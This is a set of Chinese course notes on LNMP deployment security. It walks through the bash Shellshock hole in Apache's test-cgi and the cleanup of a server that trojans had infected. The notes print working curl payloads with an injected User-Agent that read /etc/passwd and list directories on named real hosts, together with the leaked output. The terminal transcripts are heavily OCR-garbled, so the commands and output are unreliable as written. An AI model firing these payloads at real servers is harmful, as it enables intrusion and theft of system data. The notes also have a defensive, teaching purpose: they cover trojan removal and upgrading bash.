LNMP架构的部署注意事项| 学习笔记

简介: 快速学习LNMP架构的部署注意事项。

开发者学堂课程【企业Web常用架构LAMP-LNMP实战LNMP架构的部署注意事项】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/385/detail/4832


LNMP架构的部署注意事项

 

内容介绍

一、漏洞的威胁

二、案例

 

一、漏洞的威胁

百度搜 test-cgi 漏洞 乌云

test-cgi 漏洞 ,例如:
第一个:bash 破壳命令执行
curl-A"(){foo;};echo;/bin/cat/etc/passwd"http://mail.10jqka.com.cn:88/cgi-bin/test-cgi

运行

[root@localhost extraj# cur1 -A "( { foo; };echo;/bin/cat /etc/passwd” http : / /www . eduedu . com/cgi-bin/test-cgi

root: :o:o:root: /root: /bin/bash

bin: x:1:1:bin: /bin: / sbin/nologin

daemon : x:2: 2:daemon: /sbin:/sbin/nologinadm: x:3:4: adm:/var/adm:/sbin/no1ooi

daemon : x:2: 2:daemon: /sbin:/sbin/nologinadm: x:3:4: adm:/var/adm:/sbin/no1ogin

lp : x:4:7: lp: /var/ spoo1/1pd: jsbin/hologinsync:x:5:o: sync:/sbin:/bin/halt

mail:x:8:12:mail:/var /spoo1/mai1:/sbin/nologinuucp :x:10:14:uucp :/var/ spoo1/uucp: / sbin/nologin

operator:x:11:0:operator:/root:/sbin/no1ogin

games:x:12:100: games :/usr/games: /sbin/no1ogin

gopher: x:13:30: gopher: /var7gopher: /sbin/no1ogin

ftp :x:14:50:FTPUser :/var/ftp:/sbin/nologin

nobody : x:99:99: Nobody :/ :/ sbin/nologin

vcsa:x:69:69:.rtuaconoheeer"/var7empty/sasiauth:/sbin/no1og

postfix:x:89:89: : /var/spoo1/postfix:/sbin/no1ogin

sshd:x:74:74:Privilege-separated ssH:/var/empty/sshd:/sbin/nologinmysq1:x:600:600: :/home /mysql:/bin/bash

[root@7ocalhost extra1#

在本机输入该命令就可以获取远程服务器的所有密码信息,包括目录信息·

[root@locaThost extra]# cur1 '-A "( { foo;};echo;/bin/1s/" http://www.eduedu.com/cgi-bin/test-cgi

vMwareroois-8.6.5-621624 .tar. gz

bin

boot

cicro

crossdomain.xml

dev

etc

home

index.html

index.html.1

lib

lib64

lost+found

media

mnt

opt

proc

root

查看其他目录内容

[root@locaThost extra]# cur1 '-A "( { foo;};echo;/bin/1s/boot" http://www.eduedu.com/cgi-bin/test-cgi

就可以登录账号,修改密码等任何事情,通过这个漏洞就能控制远程服务器。

分析漏洞产生原因:bash 本身存在漏洞

漏洞证明:shell,很多函数和$不让使用,如果 shell 和 sql 结合会使所有的信息清楚展现

漏洞诞生的原因:需要的模块加载,不需要的不必加载。必须要在有漏洞、必须要有cgi是可执行的

[root@i-465-39832-VMconf]#_cd ../

[root@i-465-39832-VMapache]#ls

binbuild cgi-bin conferrorhtdocsiconsincludelogsmanmanua1 modules

[root@i-465-39832-VMapache]# cd cgi-bin/

[root@i-465-39832-VMcgi-bin]#1s

printenvtest-cgi

[root@i-465-39832-vMcgi-bin]#ps-ef查看结果

image.png

查看执行路径:

[root@i-465-39832-YM cgi-bin]# 11_/proc/32207/exe.-,

irwxrwxrwx. 1 mysq1 mysq1 0 Mar3' i9:37/proc/32207/exe ->/cicrodb_temp /yufeng--.

[root@i-465-39832-vM cgi-bin]# cd //cicro/wcm/data/db/mysq1/data

[root@i-465-39832-VMdata]#1s

打开后都是木马文件

image.png

删除:

[root@i-465-39832-vM data]#rm_-rf keeplive_

[root@i-465-39832-VM data]# rm-rf keep1ive*

lroot@i-465-39832-VMdata]#1f

kill

[root@i-465-39832-VM data]#killa11 -9 yufeng

一个一个kill,若关不掉就控制路径

[root@i-465-39832-VM data]# cd /cicro/wcm/as/

[root@i-465-39832-VMas]#1s..oapacheapache_2.4jdk1.7.0_67tomcat

apache.2.2.3_jdk1.6.0_13nginx      tomcat_20141029

[root@i-465-39832-VMas]#cd apache

[root@i-465-39832-VMapache]#ls

binbuildcgi-binconferrorhtdocs, iconsincludelogs

[root@i-465-39832-VMapache]# cd cgi-bin/

[root@i-465-39832-VMcgi-bin]#ls

printenv.test-cgi

[root@i-465-39832-VM cgi-bin]# rm -rf test-cgi

[root@i-465-39832-VMcgi-bin]#ls

Printenv

[root@i-465-39832-VMcgi-bin]#77total4

-rwxr-xr-x.1root. root.294.pec 11 2oo4iprantenv

[root@i-465-39832-VM cgi-bin]# rm-rf printenv

[root@i-465-39832-VMcgi-bin]#ls

[root@i-465-39832-VMcgi-bin]#1s -al

Total 8

Drwxr-xr-x. 2 root root 4096 mar 322:46

Drwxr-xr-x. 14 root root 4096 dec 5 2014

[root@i-465-39832-VMcgi-bin]#ps

杀掉之后,杜绝根源,因为 besh 有漏洞,所以解决措施是升级 besh。

注意:文件需要删除干净

ll/原 ID通过内存后查看(绿色显示的是:真实的文件放置的位置)

发现木马文件:删除原文件不可以删库、还可从入口控制(删除入口)

删除掉木马文件可以从:运行速度、运行负载看到

保证原服务器正常的情况下升级


二、例题

CGI/1.0 test seript report:
anc is 0. argv is.
SERVER_SOFTWARE=Apache/2.2.29 (Unix) DAV/2 mod_jk/1.2.
SERVER NAE = www. eduedu com
GATEVAY INTERFACE = CGI/1.1
SERVER PROTOCOL = HTTP/1.1
SERVER FORt = 80
REQUEST_ METHD = GET
HTIP. ACCEPT =text/html,application/xhtml+xml,app

PATH_TRANSATED =
SCRIPI_NAME = /cgi-bin/test-cgi
QUERY_SIRING =
RETOTE_HDST =
REIOTE_ADDR = 117.34.5.240
REIOTE_USER=
AUIH_TYPE =
CONTENT_TYPE =
CONIENT_LENGTH =

相关文章
|
1月前
|
分布式计算 资源调度 Hadoop
大数据-80 Spark 简要概述 系统架构 部署模式 与Hadoop MapReduce对比
大数据-80 Spark 简要概述 系统架构 部署模式 与Hadoop MapReduce对比
65 2
|
3月前
|
负载均衡 应用服务中间件 持续交付
微服务架构下的Web服务器部署
【8月更文第28天】随着互联网应用的不断发展,传统的单体应用架构逐渐显露出其局限性,特别是在可扩展性和维护性方面。为了解决这些问题,微服务架构应运而生。微服务架构通过将应用程序分解成一系列小型、独立的服务来提高系统的灵活性和可维护性。本文将探讨如何在微服务架构中有效部署和管理Web服务器实例,并提供一些实际的代码示例。
114 0
|
10天前
|
Docker 微服务 容器
使用Docker Compose实现微服务架构的快速部署
使用Docker Compose实现微服务架构的快速部署
24 1
|
2月前
|
运维 Cloud Native Devops
云原生架构的崛起与实践云原生架构是一种通过容器化、微服务和DevOps等技术手段,帮助应用系统实现敏捷部署、弹性扩展和高效运维的技术理念。本文将探讨云原生的概念、核心技术以及其在企业中的应用实践,揭示云原生如何成为现代软件开发和运营的主流方式。##
云原生架构是现代IT领域的一场革命,它依托于容器化、微服务和DevOps等核心技术,旨在解决传统架构在应对复杂业务需求时的不足。通过采用云原生方法,企业可以实现敏捷部署、弹性扩展和高效运维,从而大幅提升开发效率和系统可靠性。本文详细阐述了云原生的核心概念、主要技术和实际应用案例,并探讨了企业在实施云原生过程中的挑战与解决方案。无论是正在转型的传统企业,还是寻求创新的互联网企业,云原生都提供了一条实现高效能、高灵活性和高可靠性的技术路径。 ##
204 3
|
2月前
|
缓存 Java 应用服务中间件
随着微服务架构的兴起,Spring Boot凭借其快速开发和易部署的特点,成为构建RESTful API的首选框架
【9月更文挑战第6天】随着微服务架构的兴起,Spring Boot凭借其快速开发和易部署的特点,成为构建RESTful API的首选框架。Nginx作为高性能的HTTP反向代理服务器,常用于前端负载均衡,提升应用的可用性和响应速度。本文详细介绍如何通过合理配置实现Spring Boot与Nginx的高效协同工作,包括负载均衡策略、静态资源缓存、数据压缩传输及Spring Boot内部优化(如线程池配置、缓存策略等)。通过这些方法,开发者可以显著提升系统的整体性能,打造高性能、高可用的Web应用。
74 2
|
3月前
|
Java Docker 微服务
微服务架构已成为Java Web开发的新趋势,它通过将应用分解为独立、可部署的服务单元,提升了系统的灵活性与可维护性。
微服务架构已成为Java Web开发的新趋势,它通过将应用分解为独立、可部署的服务单元,提升了系统的灵活性与可维护性。每个服务负责特定功能,通过轻量通信机制协作。利用Spring Boot与Spring Cloud等框架可简化开发流程,支持模块化设计、独立部署、技术多样性和容错性,适应快速迭代的需求。
75 1
|
4月前
|
存储 关系型数据库 算法框架/工具
Ceph 架构以及部署
Ceph 架构以及部署
179 26
|
3月前
|
弹性计算 运维 关系型数据库
云上Serverless高可用架构一键部署体验与测评
在数字化转型背景下,Serverless架构因其实现业务敏捷、降低成本及提升服务可靠性而备受青睐。本文以阿里云Serverless应用引擎(SAE)为核心,展示了一种高可用、低成本且易于扩展的解决方案。通过单地域双可用区部署,构建了具备自动伸缩与故障恢复能力的架构。借助阿里云的一键部署功能,大幅简化了搭建流程,实现了快速部署,并通过性能与成本分析验证了其优势。对比传统ECS,SAE在资源利用与运维效率上表现更佳,特别适合平均负载较低的应用场景。
|
3月前
|
存储 NoSQL Serverless
Serverless 架构实现弹幕场景问题之快速部署弹幕应用到 Serverless 架构如何解决
Serverless 架构实现弹幕场景问题之快速部署弹幕应用到 Serverless 架构如何解决
55 0
|
3月前
|
Kubernetes Docker 容器
使用 Kubeadm 部署 Kubernetes(K8S) 安装--附K8S架构图
使用 Kubeadm 部署 Kubernetes(K8S) 安装--附K8S架构图
325 0